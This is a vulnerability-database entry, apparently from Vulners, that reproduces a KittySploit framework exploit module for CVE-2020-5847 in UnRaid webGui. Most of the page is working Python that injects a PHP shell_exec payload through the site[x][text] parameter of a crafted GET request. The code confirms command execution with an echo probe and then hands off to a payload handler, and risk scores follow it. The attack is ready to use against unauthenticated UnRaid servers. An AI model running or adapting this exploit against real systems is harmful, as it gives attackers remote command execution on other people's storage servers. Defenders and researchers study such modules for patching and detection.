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UnRaid webGui PHP RCE (CVE-2020-5847)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
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Unauthenticated remote code execution in UnRaid webGui via PHP code injection.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""UnRaid webGui PHP injection RCE (CVE-2020-5847)."""

import hashlib
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'UnRaid webGui PHP RCE (CVE-2020-5847)',
        'description': (
            'Exploits CVE-2020-5847 in UnRaid <=6.80: PHP code injection via webGui '
            'template parameters allows unauthenticated remote code execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-5847'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-5847'],
        'tags': ['unraid', 'nas', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {'suggested_followups': ['scanner/http/cve_2020_5847_detect']},
        },
    }

    def execute(self, cmd: str) -> str:
        php = f'<?php echo shell_exec("{str(cmd).replace(chr(34), chr(92)+chr(34))}"); ?>'
        q = urllib.parse.quote(php, safe='')
        path = f'/webGui/images/green-on.png/?path=x&site[x][text]={q}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        probe = hashlib.md5(b'CVE-2020-5847').hexdigest()
        body = self.execute(f'echo {probe}')
        if probe in (body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2020-5847 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'UnRaid injection failed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

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05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 210
EPSS0.95844
SSVC
0